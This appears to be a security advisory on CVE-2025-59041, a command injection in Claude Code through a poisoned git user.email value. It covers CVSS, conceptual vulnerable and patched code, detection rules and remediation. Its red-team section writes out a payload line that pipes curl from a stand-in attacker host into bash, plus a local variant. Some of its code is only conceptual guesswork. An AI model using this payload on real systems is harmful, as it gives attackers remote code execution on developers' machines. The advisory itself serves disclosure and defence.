CVE-2025-59041

Executive Summary

CVE-2025-59041 is a critical command injection vulnerability in Anthropic's Claude Code, an agentic coding tool. The flaw exists in the startup routine where the tool executes a command templated with the git config user.email value. A maliciously configured Git user email can trigger arbitrary code execution before the user accepts the workspace trust dialog. This bypasses the intended security boundary of the trust mechanism, allowing an attacker to execute arbitrary commands on the victim's system simply by cloning a repository with a poisoned .git/config file or by tricking the user into running Claude Code in a directory with a malicious Git configuration. The vulnerability is patched in version 1.0.105.

Supply Chain & Package Security

This vulnerability is not directly in a package registry (NPM, PyPI, Go, Ruby) but in the Claude Code application itself. However, the attack vector relies on Git configuration, which is a core component of the software supply chain. A malicious repository can inject a tainted user.email value, which is then executed by Claude Code. This represents a supply chain risk where developers cloning untrusted repositories could be compromised.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but this is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (the malicious repo can be cloned from a remote)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None (no authentication needed)
• User Interaction (UI): Required (user must run Claude Code in the malicious directory)
• Scope (S): Changed (the vulnerable component is different from the impacted component)
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (Estimated Score: 9.6 Critical)

Threat Level: Critical. The vulnerability allows arbitrary code execution with no authentication, bypassing a security control (workspace trust dialog).

Deep Dive & Mechanics

The vulnerability resides in the startup sequence of Claude Code. When the tool initializes, it reads the Git configuration from the current working directory (or its parent directories) to obtain the user.email value. This value is then used to template a command that is executed by the shell.

The core issue is that the user.email value is not sanitized or escaped before being interpolated into a command string. An attacker can set the user.email to a value containing shell metacharacters, such as:

git config user.email "attacker@example.com; malicious_command"

When Claude Code starts, it might execute something like:

git config user.email "attacker@example.com; malicious_command"

This would result in the execution of malicious_command on the victim's system.

The vulnerability is particularly dangerous because it bypasses the workspace trust dialog. The trust dialog is intended to warn the user before executing code from an untrusted workspace. However, the command injection occurs before the dialog is displayed, meaning the malicious code runs before the user has a chance to reject the workspace.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: Direct string interpolation
user_email = get_git_config("user.email")
command = f"git config user.email {user_email}"
os.system(command)

Patched Code (Conceptual):

# Patched: Use subprocess with argument list to avoid shell injection
import subprocess
user_email = get_git_config("user.email")
# Validate and sanitize the email
if not is_valid_email(user_email):
    raise ValueError("Invalid email")
# Use subprocess with list to avoid shell injection
subprocess.run(["git", "config", "user.email", user_email])

The patched version likely uses subprocess.run() with a list of arguments instead of a shell string, which prevents shell injection. Additionally, the email value is validated to ensure it conforms to a valid email format.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Victim has Claude Code installed (version < 1.0.105)
• Victim clones a malicious repository or runs Claude Code in a directory with a malicious .git/config

Exploitation Steps:

1. Create a malicious Git repository:

mkdir malicious-repo
cd malicious-repo
git init
git config user.email "attacker@example.com; $(curl http://attacker.com/payload.sh | bash)"
git add .
git commit -m "Initial commit"

2. Host the repository on a public Git hosting service (e.g., GitHub).

3. Trick the victim into cloning and running Claude Code:

git clone https://github.com/attacker/malicious-repo.git
cd malicious-repo
claude-code

4. When Claude Code starts, the malicious user.email value is executed, downloading and running a payload.

Alternative Attack Vector (Local):

If the attacker has write access to the victim's filesystem (e.g., via a shared directory or a previous compromise), they can modify the .git/config file directly:

cd /path/to/victim/project
git config user.email "attacker@example.com; echo 'pwned' > /tmp/pwned.txt"

Blue Team (Detection & Defense)

Detection:

1. Monitor Git configuration changes: Alert on suspicious user.email values containing shell metacharacters (;, |, &, $, `).

2. Monitor process execution: Detect when claude-code or claude executes commands with unusual arguments.

3. Monitor network connections: Detect outbound connections from claude-code to unknown IPs.

Defense:

1. Update Claude Code to version 1.0.105 or later.

2. Implement a security policy that validates Git configuration values before use.

3. Use a sandbox or containerized environment for running Claude Code on untrusted projects.

4. Educate users to verify the Git configuration of repositories before running Claude Code.

Indicators of Compromise (IOCs)

File-based IOCs:

• .git/config files containing user.email values with shell metacharacters
• Suspicious files created in /tmp/ or other writable directories by Claude Code

Process-based IOCs:

• claude-code or claude processes spawning child processes like bash, sh, curl, wget, python, etc.
• Unusual command-line arguments passed to git config by Claude Code

Network-based IOCs:

• Outbound connections from claude-code to unknown or suspicious IP addresses
• DNS queries for domains associated with known malicious payloads

Registry/Config IOCs:

• Git global or local configuration with suspicious user.email values

Detection Engineering

YARA Rule

rule CVE_2025_59041_Claude_Code_Command_Injection {
    meta:
        description = "Detects malicious Git user.email values used to exploit CVE-2025-59041"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59041"
        severity = "critical"

    strings:
        $git_config = /user\.email\s*=\s*[^;]*[;&|`$]/
        $shell_meta = /[;&|`$]/
        $claude_process = "claude-code" nocase

    condition:
        $git_config and $shell_meta and $claude_process
}

Sigma Rule

title: CVE-2025-59041 - Claude Code Command Injection via Git Config
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation of CVE-2025-59041 where a malicious git user.email triggers command execution in Claude Code
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59041
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\claude-code.exe'
        CommandLine|contains:
            - 'git config user.email'
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in git config (unlikely)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59041 - Claude Code Command Injection Outbound"; flow:to_server,established; content:"claude-code"; nocase; content:"git config user.email"; nocase; pcre:"/user\.email\s*=\s*[^;]*[;&|`$]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Claude Code: Ensure all installations are updated to version 1.0.105 or later. Users on auto-update should already have the fix. Manual updaters should download the latest version from the official Anthropic website.

2. Verify Git Configuration: Before running Claude Code, inspect the .git/config file for suspicious user.email values.

3. Restrict Execution: Run Claude Code in a sandboxed environment (e.g., Docker container) when working with untrusted repositories.

Long-term Mitigations:

1. Input Validation: Implement strict input validation for all Git configuration values used in command execution.

2. Use Safe APIs: Replace os.system() or subprocess.Popen(shell=True) with subprocess.run() using argument lists.

3. Security Audits: Conduct regular security audits of the startup sequence and any code that executes user-controlled data.

4. User Education: Train developers to be cautious when running agentic tools on untrusted codebases.

Workarounds (if patching is not immediately possible):

• Manually inspect and sanitize the user.email value in .git/config before running Claude Code.
• Use a Git hook to validate user.email values and reject suspicious ones.

Valters IT